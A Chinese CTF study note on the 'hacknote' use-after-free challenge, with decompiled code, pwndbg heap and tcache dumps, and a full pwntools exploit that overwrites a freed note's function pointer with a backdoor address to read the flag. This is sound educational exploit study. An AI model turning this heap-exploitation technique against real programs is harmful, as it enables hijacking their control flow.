Pwn学习笔记(10)--UAF
Pwn学习笔记(10)–UAF:
UAF就是Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。
由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。
题目是一个标准的菜单题,有创建note和输出删除的功能,别的不看了,直接看那三个函数:
unsigned int add_note()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(¬elist + i) )
{
*(¬elist + i) = malloc(8u);
if ( !*(¬elist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(¬elist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(¬elist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(¬elist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(¬elist + i) + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
先分配了一个堆空间,具体大小为数组notelist的单个元素的大小,之后就是让noteliist第一个元素指向一个函数:
*(_DWORD *)*(¬elist + i) = print_note_content;
估计第一个参数是一个函数指针,之后malloc第二个堆,地址赋给第二个参数,之后读取size大小的字符进入第二个堆块。
v0 = (int)*(¬elist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
read(0, *((void **)*(¬elist + i) + 1), size);
删除note:
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
{
free(*((void **)*(¬elist + v1) + 1));
free(*(¬elist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
发现先后删除了两个堆块,一个是写入的堆块,也就是上面第二个生成的堆块,之后释放了第一个生成的堆块,也就是存放两个指针的那个堆块:
free(*((void **)*(¬elist + v1) + 1));
free(*(¬elist + v1));
但之后没有对指针进行置零,存在UAF漏洞,因为show里存在idx参数,释放后如果申请大小差不多的堆块。
之后是print_note函数:
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
(*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));
return __readgsdword(0x14u) ^ v3;
}
很显然,这里调用了那个堆块里的动态函数:
(*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));
所以只需要想办法修改这里的函数指针即可getshell。
上gdb调一下,先申请两个堆块,之后ctrl+c执行gdb指令看看:
pwndbg> r
Starting program: /mnt/c/Users/20820/Downloads/hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :20
Content :aaa
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :30
Content :AAA
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :^C
之后查看下heap状态:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)
Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)
Allocated chunk | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)
Allocated chunk | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)
除开最开始的那个size为0x190的那位以外,其他的大致符合情况 ,两次都是先申请了一个堆块存放两个地址,然后申请另一个堆块来存放输入的内容,之后读一下0x804b198的内存:
pwndbg> x/30gx 0x804b198
0x804b198: 0x0000001100000000 0x0804b1b00804865b <---这里两个数据,一个是函数指针,也就是0x0804865b,另一个就是输入地址的那个堆块的地址0x0804b1b0
0x804b1a8: 0x0000002100000000 0x000000000a616161
0x804b1b8: 0x0000000000000000 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b1e00804865b
0x804b1d8: 0x0000003100000000 0x000000000a414141
0x804b1e8: 0x0000000000000000 0x0000000000000000
0x804b1f8: 0x0000000000000000 0x0000000000000000
0x804b208: 0x00021df900000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
0x804b228: 0x0000000000000000 0x0000000000000000
0x804b238: 0x0000000000000000 0x0000000000000000
0x804b248: 0x0000000000000000 0x0000000000000000
0x804b258: 0x0000000000000000 0x0000000000000000
0x804b268: 0x0000000000000000 0x0000000000000000
0x804b278: 0x0000000000000000 0x0000000000000000
这个函数在IDA里的地址是:
.text:0804865B print_note_content proc near ; DATA XREF: add_note+9A↓o
.text:0804865B
.text:0804865B arg_0 = dword ptr 8
.text:0804865B
.text:0804865B ; __unwind {
.text:0804865B push ebp
.text:0804865C mov ebp, esp
.text:0804865E sub esp, 8
.text:08048661 mov eax, [ebp+arg_0]
.text:08048664 mov eax, [eax+4]
.text:08048667 sub esp, 0Ch
.text:0804866A push eax ; s
.text:0804866B call _puts
.text:08048670 add esp, 10h
.text:08048673 nop
.text:08048674 leave
.text:08048675 retn
.text:08048675 ; } // starts at 804865B
.text:08048675 print_note_content endp
此时bins里啥都没有:
pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
之后,我们分别释放掉两个堆,发现heap变了:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x804b1a0
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)
释放掉了之后,读取0x804b198的内容:
pwndbg> x/30gx 0x804b198
0x804b198: 0x0000001100000000 0x0804b01000000000
0x804b1a8: 0x0000002100000000 0x0804b01000000000
0x804b1b8: 0x0000000000000000 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b0100804b1a0
0x804b1d8: 0x0000003100000000 0x0804b01000000000
0x804b1e8: 0x0000000000000000 0x0000000000000000
0x804b1f8: 0x0000000000000000 0x0000000000000000
0x804b208: 0x00021df900000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
0x804b228: 0x0000000000000000 0x0000000000000000
0x804b238: 0x0000000000000000 0x0000000000000000
0x804b248: 0x0000000000000000 0x0000000000000000
0x804b258: 0x0000000000000000 0x0000000000000000
0x804b268: 0x0000000000000000 0x0000000000000000
0x804b278: 0x0000000000000000 0x0000000000000000
再看看这个:
pwndbg> bins
tcachebins
0x10 [ 2]: 0x804b1d0 —▸ 0x804b1a0 ◂— 0
0x20 [ 1]: 0x804b1b0 ◂— 0
0x30 [ 1]: 0x804b1e0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
完蛋,没注意到tcache给我保存了这些内容,不过不清楚是否存在影响,继续调一调看看吧,之后重新申请个堆
pwndbg> c
Continuing.
1
Note size :8
Content :aaaa
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :^C
之后再看看heap:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)
Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)
0x804b198这个地址的chunk被重新拿去用了,第二次申请的那个原本存放了函数指针和字符串指针的那个chunk被分配了,之前拿去作为存放内容的那两个chunk一个都没有被分配,之后读一下这个地址:
pwndbg> x/30xg 0x804b198
0x804b198: 0x0000001100000000 0x0000000a61616161
0x804b1a8: 0x0000002100000000 0x0804b01000000000
0x804b1b8: 0x0000000000000000 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b1a00804865b
0x804b1d8: 0x0000003100000000 0x0804b01000000000
0x804b1e8: 0x0000000000000000 0x0000000000000000
0x804b1f8: 0x0000000000000000 0x0000000000000000
0x804b208: 0x00021df900000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
0x804b228: 0x0000000000000000 0x0000000000000000
0x804b238: 0x0000000000000000 0x0000000000000000
0x804b248: 0x0000000000000000 0x0000000000000000
0x804b258: 0x0000000000000000 0x0000000000000000
0x804b268: 0x0000000000000000 0x0000000000000000
0x804b278: 0x0000000000000000 0x0000000000000000
发现这里被输入的字符给占了,再去读一下这个0x804b1c8:
pwndbg> x/30xg 0x804b1c8
0x804b1c8: 0x0000001100000000 0x0804b1a00804865b
这里没有啥变化,依旧是指向输出函数的地址,以及指向某字符串的地址,0x804b198这个地址的chunk之前编号为0,因为地址更低,更先被分配,这个地址更高的作为编号1,同时整个程序存在backdoor:
int magic()
{
return system("cat /home/hacknote/flag");
}
所以只需要通过两次释放之后,再申请一个0x8之类比较小的,保证能够写入地址同时能够让分配到的chunk为同一个即可,然后申请的时候发送的数据为后门函数的地址即可,之后输出的时候它会自动调用后门程序:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(20, "note1") # add note 0
addnote(30, "note2") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
gdb.attach(r)
r.interactive()
#[*] Switching to interactive mode
#flag{asd32as1-1d8g1r1hj5g4d4-9d54h3jyur4nfke1a}